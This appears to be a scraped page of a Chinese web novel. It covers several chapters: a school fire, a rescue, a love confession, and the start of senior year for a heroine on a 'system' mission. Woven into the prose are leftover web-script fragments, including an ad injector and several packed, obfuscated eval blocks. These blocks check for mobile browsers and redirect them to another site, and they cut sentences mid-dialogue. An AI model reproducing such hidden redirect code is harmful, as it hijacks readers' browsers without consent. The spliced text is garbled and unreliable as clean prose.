“我没事，咳咳。”贺琛摇头，随即抬头望向楼上飘出来的火舌喃喃道：“咳......火越来越大了。” “我已经打过消防电话了，应该很快就能过来。”叶舒见两人没有外伤，安抚两人后便问凌熙，“你看见易川他们了吗？” 凌熙这才反应过来，9班也与他们同一时间段上课，所以也被困在了里面。 “没有，情况紧急，周围很混乱，我没注意有没有他们。” 叶舒耳边再次响起系统的警报声：【警报，警报！攻略对象有危险！】 糟了。 她望向那影影绰绰的火光。 她不能在这干等着了。 叶舒跑向一旁的洗手间，打开水龙头，将水尽数泼在自己身上。 凌熙见状，意识到什么，赶忙拉住她：“你干什么？你不会想上去救他们吧？” 叶舒不说话，只是默默将水打湿自己的衣服。 凌熙也不顾还有些不舒服的咽喉，冲她大喊道：“你疯了吗？！你这样上去，反倒是添堵。人救不了，自己也折在那！我们只需要在这里等消防员就好了！” 其实这些叶舒何尝不知道呢。 她知道以自己的力量根本不可能做什么，最差的情况甚至是上去白搭一条“命”。 但是既然系统提醒她了，她就不能坐以待毙。 只要她做什么，肯定是有希望的。 叶舒拉开她的手，安慰她道：“我有分寸的，你放心。” “你......” 还未等凌熙说完，叶舒便趁她没防备跑了出去。 结果，下一秒她又被贺琛拉住。 叶舒回头，便看见贺琛的手紧紧地攥着她的手腕。 他眼里闪过一丝惊诧，随后沉声问道：“你要去哪？” 男女力量悬殊，叶舒正思考着要如何解释他才肯松手，楼上便传来一阵不小的爆破声，随之是一阵玻璃破碎的声音。 应该是时间太久了，发生了闪燃现象。 来不及了。 “对不起。” 叶舒趁贺琛松懈时挣开，飞速向楼梯口内冲去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “叶舒——!” 他人的呼喊声被她远远置于脑后。 - 易川回头看，刚刚逃出来的教室内已发生了不小的爆破。 而臂膀处还隐隐有着刚刚冲过火焰遗留下的灼烧热意。 王朗看着眼前又一处火海，愣愣地呢喃道：“怎么办......” 叶珩指着火海旁的遗漏的角落，“那！消防栓！” 王朗正欲上前，却立即被那热意裹挟，下意识退了一步。 下一秒，身旁一个身影冲上前。 易川！ 他尝试触碰那烫的要命的金属开口，小臂青筋暴起，试图打开消防栓箱。 “易川！” 王朗见此，也不再害怕，上前用他薄弱的身躯，试图帮他挡住些火舌。 丝丝烫意很快蔓延上他的背，空气中满是难闻呛人的烧焦味。 “你在干什么！你蠢吗！”消防栓开口掉漆，再加上金属烫人，难以打开，易川没空回头，但还是冲身后的人吼道。 一个人烫总好过两个人一起被烫。 王朗的身子贴近他，也在试图躲那烫人的火焰，但又怕火舌烧到易川：“你快弄！别废话！” 叶珩见状，将自己水杯里仅存的一点水泼在两人身上，又泼向眼前的火海，可惜只是杯水车薪。 汗水从额头和背上沁出，眼前被一滴汗糊住，模糊了眼前的景象，只能看见消防玻璃倒映出易川的面孔。 打不开。 为什么打不开。 不能打不开，必须得打开。 叶珩看着纹丝不动的消防栓，水枪就静静地躺在里面，唯一的希望，看着却莫名让人绝望。 他问易川，声音不自觉也有些颤抖：“打不开吗？” 易川揩了下眼皮上的汗水，将手放下，手掌已完全烫红，指尖处还烫出了小泡。 “打得开。” 叶珩听见易川沉稳的声音。 他看着他，只见易川重新调整了姿势，随后撞向那消防栓玻璃。 “易川！” 易川一声不吭，频频用手肘撞向那玻璃。 玻璃纹丝不动，玻璃门上隐隐绰绰倒映着他的身影，与他身后逐渐逼近的扭曲的火舌。 玻璃没那么容易破裂，就算有一身蛮力，也不可能，还是得要硬物或是重物。 可教室已经发生爆燃，回去找椅子之类的也是送死。 易川余光看见也在努力砸玻璃的众人，心逐渐沉入谷底。 难道真的就没有办法了吗？ 难道他们就得......死在这吗？ 余光瞄到滚落一旁的保温杯。 易川冲上前捡起，随后拉开还在努力的一行人。 “让开。” 见状，几人立刻让开。 易川看着玻璃窗倒映着自己影子的轮廓，右侧则是让人避之不及的滚烫的火焰。 他将保温杯用力砸向玻璃！ 哐！哐！ 玻璃门逐渐出现裂痕。 最后一下，易川直接退后，将保温杯朝玻璃门用力扔下玻璃。 “兹啦啦——” 一声玻璃炸碎声响，玻璃终于不堪重负，碎了个口子。 众人皆松了口气。 有救了，有救了！ 易川冲向消防栓，口子不大，一只手伸进去，玻璃碎片甚至还会划伤手臂。 “兹拉——兹拉——” 他直接手肘借力，将口子又锤大了不少，然后快速地将水枪从里头拿出来，递给身后的男生们。 男生们也很配合，虽然从未用过这东西，但很快一个一个抱起水管，将枪口对准面前的火海。 “3，2，1！” “咵嚓————” 水枪泵出的水势巨大，几人差点抱不起这水管。 白花花的水很快便冲灭了面前最猖狂的几束火焰，叶珩抱着水枪口上前，为众人开出来了条能冲向楼梯口的路。 可惜的是水枪长度有限，支撑不到楼道口。 叶珩：“行了，快走！” 众人放下水枪，捂住口鼻便立刻冲向那唯一的生路。 易川殿后，随后立即跟上前。 熊熊燃烧的火海里，叶珩的喊声，急促的脚步声，楼下人群的呼喊声，还有—— 隐隐约约的稚子的呼救声。 易川闻声，顿步，看向身后离得最近的唯一一间还未发生爆燃的教室。 55. 认清 楼道内能感受到一股隐隐的热意，越往上走，越能感受到那灼热。 眼前就像蒙了一层乌蒙的纱，还能闻到灼烧的呛鼻的烟味，熏得人眼热。 叶舒喊了几声系统，它都未曾理她。 又玩消失。 不过就算它出现，应当也只会说“系统没有救人的能力，保证攻略者的自主性”这种话。而且，系统如今还没说话，也能证明易川现在还没有生命危险。 叶舒走到3楼，听见楼上传来一阵仓忙慌乱的脚步声。 下一刻，她便与一队人在转角处撞见。 “王朗！” 她惊喜地发现领头人便是王朗，而他身后还有叶珩。 王朗见到叶舒也是一怔，随即放下遮住口鼻的湿纸：“你怎么在这？” 叶舒：“我不放心你们。” “那也不能上来啊！”王朗将手放置叶舒肩膀上，随后将她反了个方向，快速回答：“快走快走。” 叶舒向后看去，并没有看见熟悉的面孔，忙问道：“易川呢？” 叶珩环顾一周，没寻到易川的身影，也是一惊：“对，易川呢？他不是跟我们一起下来了吗？” 随即，他微微愣住，目光不敢置信地望向已经漫出滚滚浓烟的上层的楼道。 叶舒注意到叶珩的视线，着急道：“怎么回事？他人呢？” 王朗也懵了：“刚刚我们困在教室里出不去，教室门口有消防栓，带着我们打破了消防栓才冲出一条道。” 叶珩保持冷静，及时催促并推着两人往下走：“这里不是说话地，先走吧。” 众人有序地快速地冲下楼。 叶舒却默默转了方向奔向楼上。 叶珩见状，立刻拦住她，呵斥道：“你干什么去？” 叶舒担忧道：“易川还在上面，这个时候还没下来，很可能是被困住了。” 说罢，她便要上去，被叶珩扯回来。 “你别幼稚了！你上去也做不了什么，说不定还让自己也赔进去。我们现在要做的就是下去等救援！” 叶舒试图挣开叶珩，可是他却抓得十分用力，越挣扎他反而握得越紧，攥得她手腕生疼。 王朗见场面混乱，忙指挥其余人先行离开，随后与叶珩一起劝叶舒。 叶舒见逃不过，只好软下语气祈求：“我有办法的，你相信我，如果火势太大上不去，我一定会下来的！” 易川是她的攻略对象，她好不容易走到这一步，她不能放任易川不管。 系统既然命她救他，就定不会轻易让她与易川葬身火海。 倘若系统真的不出手相助，真到无法转圜的那一步，大不了也就是重来一回。 总之，她不会有事的，易川也不能有事。 “不行！”叶珩并不知道她的考量，见她执意如此，只好将她拦腰扛起，快步向楼下跑去。 叶舒一阵惊讶，反应过来后忙挣扎：“叶珩，你放开我，易川还在上面！叶珩！” 系统的警报声再次在她耳边响起，尖锐刺耳，她一时难受地说不出话，痛苦地捂住自己耳朵。 待到叶珩把她放下来，她又重新见到了外面的天日。 楼下，老师们围着学生检查情况，级长着急地打着电话，保安们则在楼下维持秩序。 凌熙见叶珩抱着叶舒出现，急忙上前：“叶舒，你没事吧？” 叶舒还未缓过神，迟钝地摇了摇头，应了一声，随后看向那被黑烟和红色的火焰环绕的高楼。 她不知道还能做什么，只能无力地望着楼梯口，期待下一秒易川会从那出现。 然而，一个又一个的学生从楼梯口中逃了出来，仍旧不见易川的踪影。 她越想越绝望，只能在心中不断祈祷易川没事，指尖因用力攥紧而泛白。 下一秒，火警的鸣笛声从远处传来。 消防员到了！ 老师们连忙疏散各位学生给火警车让道。 众人看着消防员训练有素且快速地整理好装备，领头的消防员边指挥队员边向老师了解是否有人被困。 “还有七名学生没有找到，应该还在上面。”陶珠和杨丽丽将清点后的人数情况告知消防领队。 随后，消防员们分成两队，一队在楼下用消防水炮设备灭火，另一队则带着设备上楼寻人。 叶舒连忙上前告诉陶珠：“老师，易川、易川还没出来！” “好，你别着急。消防员已经上去了，会没事的。”陶珠安慰众人，拍了拍叶舒的肩，随后关注着楼上的动静。 叶舒清晰地感受到，她的手也在颤抖。 老师也在害怕。 在天灾面前，谁都不可能完全冷静。 时间一分一秒过去，她的心逐渐提到了嗓子眼，心跳砰砰地跳着。她看着消防员搀扶着一个又一个的学生从楼道口里出来，却始终不见易川。 燃起希望又失望。 叶舒攥着凌熙的手越来越无力。 原来人在意外面前，真的只能眼睁睁看着自己被绝望侵蚀，而无力招架。 易川、易川。 求你不要有事。 求求你！ 叶舒欲走近楼道口，想看一看如今的情况，她想第一个看见他平安无事地出来。 然而，步子还未踏出去，便被凌熙拉住。 凌熙握紧她的手，声音还在颤抖却还是尽力安慰她：“在这等就好了，没事的，消防员很快就会救他出来了。” 突然之间，楼道口又传来人员下来的动静。 视线远端出现了一个熟悉的身影，那人身姿挺拔，怀中还紧紧抱着一个流着泪的小男孩。 ！！ “易川——！易川！他出来了！” 一瞬间，周围的声音全都消失不见，世界仿佛摁下暂停键，好像只剩下她与易川。 叶舒已经不知道是自己跑到了他面前，还是易川一步步朝自己走来。只觉得二人距离拉近后，四周的声音才再次返回世界。 易川白净的脸上有些脏，一边的发梢也被烧了一截，看上去十分狼狈。 见到叶舒，他咧嘴一笑，似是宽慰又似庆贺。他轻轻蹲下，放下怀中的男孩，将孩子交给消防员。 “这是宿管的孩子，在楼上玩，困在里面了，咳咳......”易川没说几句便开始喘气咳嗽，大概是在上面呆久了，吸了不少烟。 孩子受惊了，落了地便想跑回宿舍区，哭叫着找妈妈。最后还是大人将其拉回来哄，老师给宿管打了电话后才停止哭闹。 见小孩被老师带走，叶舒的目光重新看回易川，他也恰好在看着她。 叶舒脑子里一团乱麻，来时想好的所有预设的话语都被这场意外打乱，她迟迟没说话只是一味地注视着他。 片刻后，她听见易川开口喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954623|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声她的名字，声音没有平常的清冽，极为嘶哑。 “回来了？” 虽说他已好好地站在自己面前，可叶舒肩膀还是不住地颤抖。 听见易川还用调笑的语气与自己讲话，她鼻子泛酸，竟有想哭的冲动。 她自认为是个坚强的人，穿越过来的两年间，她还从未有过想哭的念头。 或许...... 不知何时，她早就对眼前的易川有了别样的感情。 只是她自己还不愿承认。 “怎么了？害怕了？” 易川的手按上她的肩膀，他身上还残留着火场里的炽热，手心的温度让叶舒渐渐安心下来。 叶舒眼睛泛红，冲他吼道：“你说怎么了？你不知道多危险吗？你在里面那么久能不吓人吗？！” 叶舒从未这样失态怒吼过，易川微怔片刻，继而弯了弯唇，笑容无奈又温柔。 “怎么一回来就冲我发火？” “你还好意思说！” 她也不知道为什么，只想凶他、吼他。 可是今天情况多么危急。 这是她第一次离死亡那么近。 意外如此突然，死亡近在咫尺。 差一点...... 差一点她就再也见不到他了。 叶珩一行人围上前，斥责易川：“刚刚还看见你，你怎么转眼就不见人了？你知不知道真的会吓死人！！” 易川自知理亏，面露一丝歉疚：“本来要逃了，听见了那小孩的哭声，我就跑回去看了，没来得及和你们说。” 原来他竟是为了那孩子...... 没想到，他竟是见义勇为所以耽搁了。 叶舒张了张嘴，最后只能放弃，把话咽了回去。 她看着易川那张年少朝气的面孔。 生死关头，人人都自顾不暇，他竟还不顾自身安危去救了一个小孩。 从前只觉得他性情古怪冷漠、孤僻自我，没想到他竟也有善良正义的一面。 易川，究竟是她之前错看了你，还是只是这个世界的你善良。 叶舒视线下移，注意到他蓝色的衣袖透着不明的渍迹。先前没注意，以为是被烧后的灰烬，如今凑近才发现，那颜色分明是红色。 叶舒指着那一处：“你、你受伤了？” 王朗连忙凑近一看，大叫道：“哎呀，你这流血了！” 王朗扒开他的衣袖看，险些弄疼了易川。 “嘶......你小心点。”即使被误伤，他一副漫不经心的模样，似是不想让大家担心。 王朗双眉紧皱，表情有些歉意：“这还有玻璃碎，是不是你当时撞开那个消防栓弄到的？” 易川摇了摇头无谓地说没事，眼睛却心虚地瞟了眼叶舒。 从王朗的口中，叶舒才知道，原来是他他撞开消防栓时弄下的伤。 一时间，叶舒百感交集，看向他的眼神不禁变得复杂。 自己刚刚还冲他那么凶，甚至前几天还误会他是冷血无情之人..... 叶舒也不想再纠结什么了，看着他的伤说：“快去医院看看，别感染了。” 易川本想说不用这么麻烦，但还是被叶珩和王朗架着走，临时走时，他还冲叶舒扯了个安抚的笑容。 叶舒目送着他们离开。 须臾，呢喃道。 “疯子。” 56. 得偿所愿 “这次的火灾是由宿管的小孩玩闹，拿了父母的打火机烧了本来要用的建材导致的。所幸这次大家逃出及时，没事就好......” 杨丽丽整顿了所有学生后，随后挨个检查伤势。 叶舒坐在教室位置上发呆。 类似的情况她似乎听过。 当年高二，隔壁小学几名学生将违禁的打火机带到了学校，午休时间在教室内玩火，结果烧着了窗帘和书籍。 那时是下午上课前，教室内除了他们几个没有别的学生，老师也回到了宿舍。当时火越烧越大，最后还是有个小孩哭着找到了门卫保安，叫了火警，最后火才扑灭。 所以，这个事件，是轮到她身上了吗？ 这段时间意外来得太多，她已经无心思考到底是何原因。 或许，正如系统所言，这就是系统世界给她的考验。 一切都是在提醒她，前路漫漫，未到终局，一切未定。 提醒她，返回原来世界，不是那么容易的。 身旁的凌熙正激烈地批评道：“那些熊孩子也真是的，火到底有啥好玩的。要不是易川救他，他还不知道在哪哇哇大哭呢......” 她侧头看向一直不言语的叶舒，她正坐在位置上发呆。 凌熙摇了摇她的手臂，叶舒才渐渐回神。 教室的空调正对着她们吹着冷风，叶舒身上的衣服还有些湿意，不禁打了个喷嚏。 凌熙摸了摸她的衣襟，不免皱眉：“你身上还是湿的，待会感冒了。” 叶舒望着外面晴朗的阳光，起身说：“我出去晒晒就好了。” 二人出了教室，靠在一旁的栏杆上。 连廊上是来来往往仍心有余悸的学生，走过路过都能听见众人在描述着刚刚的火势。 凌熙怨怼地看着叶舒：“你看你，都叫你不要去不要去，你还不听——” 叶舒无奈地沉了口气，玩笑含糊道：“想逞英雄没逞到。” “你根本不是想逞英雄，你是——”凌熙话话说到一半便闭了嘴，随后狠狠地瞪了她一眼，压低声音问，“你告诉我，你是不是喜欢上易川了？” 叶舒愣了愣，没想到凌熙忽然这么直接地问她。 “大概......” “我不知道。” 叶舒不遮掩，直白地回答。 她不想遮掩，也遮掩不了。 如果之前她还不知道，如今这次，倒是令她全都看清了。 她，或许…… 真的重新喜欢上了易川。 - 六月的高考季似乎总是伴随着暴雨。 这场雨，也送走了这届高三生。 又一届高三生毕业了。 断断续续下了一周的暴雨后，天气才转晴。 下午放学，夕阳西下，落日如黄金般璀璨，光线晕染得操场上的绿草竟也泛着金色。 教学楼内人影憧憧，晃动的人影打乱了墙壁上的一滩金色。 蓝白相间的校服内，今日混着不少不一样的颜色。是毕业的高三生回来了。 叶舒与凌熙两人搬着自己的书走到高三教学楼。 凌熙望着一个个光鲜亮丽回高中的毕业生羡慕道：“真好啊，毕业了就轻松了~” 叶舒莞尔一笑，不予置评。 要说人何时会轻松，大概也只会是弥留之际吧。 不然，做人何时都不算轻松。 经历了成年人的世界后的叶舒，反倒觉着，校园里的自己，起码心是自在的。 凌熙碰了碰叶舒的肩，示意她看不远处一个极为精致的漂亮学姐，眼馋道：“好漂亮啊~她头发颜色好好看。等我高考完，我第一件事就是把头发染了！” “染什么颜色？” “没想好。” ...... 放学后，凌熙回了宿舍，叶舒则留在教室，准备收完东西再去图书馆。 与易川一同学习。 自火灾之后，她与易川便自然而然地冰释前嫌了。 无人质问，也无人道歉。 准确来说，应当是叶舒莫名其妙选择忘了那事，原谅了他。 毕竟火灾在她面前发生，那样的情况下她早就将什么嫌隙忘在脑后。 而且，那是她第一次感觉到天灾带来的绝望，如今大家都能平安无恙便是最好的了，她也不想再揪着那点小事不放了。 收拾完东西叶舒便离开教室，向图书馆走去。 “叶舒。” 没走几步，便被贺琛叫住。 一向温文尔雅的男生神情复杂地看着她，手不自觉地攥着衣摆。 “你现在方便吗？我有事想与你说。” ...... 夏日的太阳总是落得晚。 二人走到教学楼与操场中间的空地。 叶舒望了眼远处红蓝混色的天，向身侧人开口：“你要说什么？” 贺琛低垂着眉眼，看向身边人精致的侧脸，深吸了一口气。 叶舒意识到什么，面色微滞，心跳也不自觉加快：“你——” “我喜欢你。” 还未等她借口离开，就听见贺琛那温润的嗓音带着不容忽视的认真说出这四个字。 叶舒微愣，下意识皱了皱眉。 看来，这次还是不能只用朋友身份和谐共处吗...... “我......” “你先不要说话，让我先说完。”贺琛目光炯炯，郑重地一字一顿说，“其实期中考出了成绩之后我就想和你说了。我知道你很在意学习，一直在想哪天考得好就和你表白，结果你每次都靠第一。” “大概是上天也想给我一次机会，期中考那次算是幸运，我终于考过了你。本想那段时间就和你告白，结果出了很多事......反正最后我也没敢说。我......” 他摸着衣角，大抵是没话说，无言地凝视着叶舒。 他的眼神太过炙热，叶舒不敢对视，低下头。 微风拂过两人身旁。 斟酌半晌，叶舒才开口：“谢谢......但，对不起。” 贺琛像是早就做好了准备，释然一笑，笑容却生涩僵硬：“没事，是我唐突了......” 两人相对无言地站着，远处操场上学生雀跃的声音似乎都逐渐变小声，只剩下呼啸而过的风声。 叶舒抿了抿唇，抬头对上贺琛的眼睛，认真道：“贺琛，你不应该那样说的。” 贺琛不解，微微一愣：“什么？” 叶舒：“你考第一，不是侥幸，是你自己的实力，不用说是运气。” 贺琛没想到她竟是为了纠正自己这话，哑然失笑，随后温柔地弯了弯唇角：“谢谢你。” “你没有必要这样小心翼翼的。”被表白完的叶舒有些尴尬，没话找话道，“我拒绝你是我自己的原因。我并没有这些心思，也不曾考虑这些。” 想到贺琛面子薄、爱内耗，若是理由不够明确，他怕是会难过自卑。思索片刻，叶舒想了个最适合自己的理由。 叶舒：“我在学校只想好好学习，从没有想过谈恋爱这些事。所以，对不起。” 闻言，贺琛默默点了点头，柔和的晚霞光落在他柔和的面庞上，他脸上还是挂着友善和煦的微笑。 “那毕业后，你会考虑这些吗？” “啊？”叶舒被他的脑回路弄得一怔。 见状，贺琛脸上笑意渐浓，摇了摇头说：“没事，开玩笑的。” 叶舒知道他在借玩笑诉真心。 可是自己给不了他回答。 更何况，一年之后她大概就会离开这个世界了，她给不了他承诺，也给不了任何人承诺。 贺琛侧头眺望了眼愈渐西沉的落日，沉声道：“叶舒。” “嗯？” “那我们还是朋友吗？” 叶舒不假思索：“只要你不尴尬，自然还是。” 贺琛轻笑，没头没尾地感慨了句：“要高三了。” 叶舒附和地嗯了一声。 贺琛突然问：“我能和你考一个大学吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967910|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶舒无奈地叹了口气：“当然可以，你想考哪个大学根本不必问过我。” 她转过身来看向贺琛，苦口婆心道：“你没必要这样，讨好型人格。” 贺琛歪头，清秀的脸上带着些许疑惑。 叶舒：“你没必要句句迎合别人，看别人脸色，也不必把别人放置上位，自己则小心翼翼。你当然可以和我考一个大学，而且，以你的成绩选择很多，不必弄得委曲求全——” “我是自愿的，不是委屈求全。”贺琛认真地看着她，眼里闪过一丝不容置疑的坚定。 叶舒嘴唇翕张，说不出话来，不知如何回复他。 片刻后，他眼神便又柔和下来。 “不过谢谢你，从来没人和我说过这些。其实有时候我自己也发现了这些问题，可惜总是改不掉。谢谢你的话，我会努力改变的。” “好。那……回去吧。” ...... 与贺琛告别后，叶舒步子虚浮地向图书馆缓缓走去。 虽说之前也曾被贺琛告白，可她还是第一次见贺琛那么认真同自己说话，难免动容。 却又有些心虚。 其实在这个世界里，叶舒第一次见到贺琛，便有些心虚。 他是个好孩子，叶舒也很喜欢他，只是不是那种男女之间喜欢。 她不想伤贺琛的心，却不想，再来一次还是伤了这孩子的心。 想想莫名有些愧疚。 “叶舒。” 听见熟悉的声音，叶舒抬头，便看见图书馆门口易川背着包站在那。 他歪着头，挑着眉疑惑地看着捂着心口的叶舒。 “你干嘛了？” 他语气轻浮不羁，还带着些许调侃意味。 见他如此，叶舒莫名踏实了不少，直起身道：“没事。” 易川话里有话：“没事就好。我还以为你干了什么亏心事，心跳过快不舒服。” 叶舒听出他话里的讽刺味，停下脚步问：“你，是不是听到了什么？” 易川沉吟片刻，还是不打算在她面前遮遮掩掩了，扬了扬唇角：“没什么，就是看见贺琛和你表白了。” “噢。” 叶舒应了一声，没多言，径直向图书馆走去。 “所以，你喜欢他吗？” “我没答应。” 她说完，便自顾自地上楼。 易川似乎对这回答不满意，伸出手拉住她的衣角，止住她的步伐。 叶舒转头，惊讶地看着易川拉住了自己的衣角，警惕地环视了一眼周围来往的学生，压低声音问：“你干什么？” 易川没有松手，继续直勾勾地看着她，再问：“你喜欢贺琛吗？” “我都没答应肯定是不喜欢。” “真的？” 叶舒无语又不解地皱了皱眉，瞥见过路同学异样的眼神，脸色难看地挣开易川的手：“真的！” 闻言，易川松开了手。从叶舒的角度看过去，他神色平淡，垂着眼睫若有所思。 须臾，他开口，语气淡然：“为什么没答应？” 叶舒头也没抬，随口一答：“我很忙，只想学习，没心思想这些。” 反正叶舒给人的印象便是爱学习的学霸形象，拿这个理由拒绝人也十分充分。 “你就这么在乎学习？”易川好像并不吃惊，只是语气里莫名含着一丝难以名状的情绪。 叶舒漫不经心道：“也不是在乎。我只是想快点高考完，快点考个好大学，然后.....” 她瞥了眼易川，在心里默念：然后看见你考个好大学。 最后，她便可以完成任务返回原世界了。 易川见她迟迟不说话，轻挑眉梢：“然后？” 叶舒收回视线，回道：“然后就毕业——没有然后了。” 她噔噔地上了楼，不再管后面的人。 抵达座位前，易川不知何时跟上了她，站在她身侧。 叶舒放下书，随后听见易川的声音在耳畔响起： “你会得偿所愿的。” 57. 高三 静海高中每日黄昏时分的天空都是不同的颜色光景，唯一共同的便是每日此时的天色总是十分壮观美丽。 霞光为校园披上一层绮丽的披纱，引来许多学生驻足欣赏，面朝西方，或静静眺望，或围栏谈话。 高三后的时间像是摁下了加速键，每日就在无尽的试卷和习题中度过，得空眺望落日黄昏的时间都变得弥足珍贵。 临近期末考试，复习生活忙碌急促，压得人像浸入了海里，浮上岸喘口气刹那便又不得不沉下海底。 叶舒坐在台阶上看着易川的一模试卷，解答他的错题。 易川隔着她一些距离，坐在她旁边，他长手长脚，腿跨了几个台阶坐才显得不局促。 叶舒偷瞄身旁的人。 天光透过窗台，落霞余晖落在易川的发丝间，熠熠生辉。 须臾，她便收回眼，看回手中的他的小题分详情，心里不由暗喜。 易川进步很大，科科稳定缓慢上升。 若能照这样发展下去，易川高考有望，而系统给她的任务底线——静海大学，也绝对不在话下。 回家，指日可待！ “你们在这学习呢！”裹着棕黑色羽绒服的王朗突然出现，打断了正在投入的两人，笑呵呵地问，“诶！加我一个呗！” 叶舒助人为乐，见王朗这么主动，勾唇应声：“你有什么问题？” 闻言，王朗欢快地转头回班拿东西。 看着他匆匆回班的背影，叶舒好笑道：“他今天竟然那么主动。” 易川将手中的试卷折叠，姿态闲散道：“毕竟高三了。月考他好像考差了，退步了不少，他还挺不开心的。” “是吗？”叶舒疑惑喃喃道，毕竟印象里王朗一鸣惊人，考入了不错的学校。 “可能是一轮复习压力太大了，正常。” 高三复习压力大，并不是所有人一下子都能吃得消的。 “那你呢？”易川忽然问她。 叶舒抬头看向他，面露不解。 易川慢条斯理地翻着自己的试卷：“叶珩说你最近状态不好。” 叶珩怎么什么都往外说。叶舒在心里腹诽道。 她倒也不是状态不好，只是上了高三后，父母的争吵愈渐频繁，每次周末回家，虽说只呆不到一天，但两人争执不休，让叶舒很是头疼。 这样的环境下也无法静下心来学习，回家反而还没在校轻松。 虽说已经经历过一次，但再来一次还是让叶舒倍感绝望。 可是再来一次，她还是无能为力，除了劝架又是什么也做不了。 好在，她已经看开了。 就这样吧。 叶珩家与她家住得近，小时候他便经常来叶舒家做客。后来，他转来了静海高中，与她一起上学，来往便更频繁了，久而久之也知道了叶舒家的情况。 叶珩的每次到来，都是在拯救叶舒与水火之中。 在外人的面前，父亲不便发脾气，父母两人的争吵也会偃旗息鼓，让叶舒有了喘息的时间。 她的家事，叶珩作为孩子也无能为力，只能每次知道后，用拙劣的演技转移话题哄她高兴。 叶舒本来也没多难过，见叶珩还肯这般为自己花心思，每每觉得好笑。 想到这，叶舒抿了抿唇，若无其事道：“还好。每周那么多考试，压力大也正常，倒也没太大问题。” 易川扫了一眼她，随后收回眼，叮嘱道：“注意点吧，别拼过头了。” 他语气虽然嫌弃，但竟让叶舒听出了一丝温柔。 叶舒懵怔地看着他，有些难以置信，刚想找什么话打破这奇怪的氛围，王朗便拿着自己的笔和试卷向两人冲过来。 王朗：“我来了我来了！” 叶舒：...... ...... 天色渐暗，就连回宿舍洗澡的凌熙也回到了教室。 叶舒看了眼逐渐暗淡的落霞打了哈欠，继而看回眼前皱着眉看题的王朗。 “叶舒！”凌熙从教室里兴冲冲地跑出来，手里拿着个黄皮信封，“你拿到信没有？我发现我之前还在我信里夹了10块钱哈哈哈！我真有先见之明！” “什么信？”叶舒和王朗疑惑地看向她。 凌熙：“就是高一的时候心理课写的‘给三年后的自己的信’，你们没写吗？” 王朗醒悟地噢了一声：“我知道我知道！哪有啊？” 凌熙：“在楼下校道那派发呢，按当时高一的班级归类的，你们得报之前班号。” 王朗向叶舒递了个眼神：“那我们一起去拿呗。” 叶舒想了想，拜托他道：“我要去办公室拿试卷，你能帮我拿下吗？” 王朗爽快应承道：“当然。” 叶舒看着他正欲离去的身影，想起什么，又叫住他：“王朗。” 王朗回头：“？” 叶舒：“你别偷看。” 王朗愣了愣，随后换上一副不怀好意的嘴脸，挑眉道：“嘿嘿~行~” “......” 叶舒和凌熙不约而同撇嘴，起了一层鸡皮疙瘩。 凌熙望着王朗欢快下楼的背影，“王朗这人是不是瘦了，感觉比之前瘦了不少。” 叶舒这才注意起王朗的身形，大概是两人经常见面，如今细细对比才发现，原来圆头圆脑的王朗确实瘦削了些许：“好像是。” 凌熙不禁抿唇失笑：“可能是学习学的，看来高三复习还有让人减肥的功效。” ...... 叶舒从老师办公室出来，老远便注意到易川站在自己的班级门口。 天色已暗，暮色四合，已至傍晚，他今日身着黑色外套，外套内还有件黑连帽卫衣，一身黑。若不是他面向着班级门口，教室里的白炽灯将他的身躯划分了一道模糊的界线，明暗相背，一打眼，还注意不到他。 易川固定着低头的动作，看不清他的表情，莫名显得有些深沉忧郁。 叶舒微笑着走近他，打趣道：“你咋在这，还有什么问题吗？” 易川慢半拍抬起头，本在沉思有些失焦的眼神在瞧见她后也逐渐聚焦有神，只是脸上还是沉重的表情。 他直盯盯地看着叶舒的眼睛，眸深如墨，像是要把她这个人直直地刻在瞳孔里，不让她离开视线半步。 叶舒不免疑惑，将要开口，易川便生硬地移开了目光。 “没有问题，便不能来找你吗？” 他语气冷淡，又开始“老本行”——揶揄阴阳。 “当然能啊，你经常没事也来啊。”叶舒总觉得他此刻情绪不对，歪头想去看他的神情，“怎么了？” 易川没说话，默默转身，手指摩挲了一下手中的东西，随后将东西递了出去：“你的信。” 叶舒接过，看见是自己高一时曾写的信，上面还写着她的名字和先前的班级。 易川：“我和王朗一起去，顺便帮你拿了。” 叶舒将信翻了个面，看着封口完好的信，开玩笑地说：“王朗没偷看吧。” “没有。”转瞬，易川又开口，“他本想看来着，给我抢过去了。” 听到这，叶舒莞尔：“谢谢。” “没什么事我就先走了。” “嗯。”叶舒点了点头，正欲回班，头顶又传来易川的声音： “叶舒。” 闻声，叶舒抬眼看向他。 他唇瓣翕动，斟酌许久，才终于开口： “你觉得，我考得上大学吗？” 叶舒愣了一瞬，见他神色间有些忧伤，咧嘴一笑，鼓励他道：“肯定考得上啊，而且还能考很不错的大学。” 他笑了笑，笑容有些自嘲苦涩：“这么信我？” “当然。” 舒缓的上课铃倏然响起，打断易川的欲言又止。 叶舒本想细问，却见易川挥了挥手，轻声念了句“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 